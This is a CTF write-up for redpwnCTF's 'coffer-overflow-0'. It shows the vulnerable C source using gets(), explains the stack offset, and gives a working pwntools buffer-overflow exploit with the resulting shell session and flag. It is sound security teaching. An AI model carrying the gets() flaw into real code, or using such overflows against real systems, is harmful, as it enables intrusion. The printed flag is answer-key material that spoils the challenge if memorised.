coffer-overflow-0

by UltimateHG / CS_Gang

Tags: bufferoverflow pwn

Rating:

coffer-overflow-0

Author: UltimateHG

Basics of the basics

So, how do we approach this question? We can take a look at the source provided (coffer-overflow-0.c):

```
#include <stdio.h>
#include <string.h>

int main(void)
{
  long code = 0;
  char name[16];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);

  if(code != 0) {
    system("/bin/sh");
  }
}
```

<br> It looks like a standard buffer overflow question where the vulnerability here is gets(), which does not specify the amount of bytes it should accept. Since the variable we're writing to, `char name[16]` has a allocated buffer size of 16, we just need to overflow past that to start overwriting the variables we want, which in this case is `code`. <br> This is our target line:

```
if(code != 0) {
    system("/bin/sh");
  }
```

As long as we are able to overwrite `code`, it doesn't matter what we overwrite it with, it will redirect us to shell. Since stack space is generally allocated in multiples of 16, and this function declares `16+8=24 < 32` bytes for the variables, we can assume 32 bytes would be allocated to the function. Hence we just need to overwrite into the last 8 bytes of the stack and we should overwrite `code`. The length of our exploit would be 32-8+1 = 25.<br> Here is the final exploit:

```
#!/usr/bin/env python

from pwn import *
e = ELF("./coffer-overflow-0")
p = remote("2020.redpwnc.tf", 31199)

p.recvline()
p.recvline()
p.sendline("A"*25)
p.interactive()
```

This should redirect us to shell, and with a simple `ls` we can see an entry `flag.txt`, so we simply do `cat flag.txt` to obtain the flag:

```
$ ls
Makefile
bin
coffer-overflow-0
coffer-overflow-0.c
dev
flag.txt
lib
lib32
lib64
$ cat flag.txt
flag{b0ffer_0verf10w_3asy_as_123}
```

Original writeup (https://github.com/CSGang/Writeups/tree/master/redpwnCTF/pwn/coffer_overflow_0).

Comments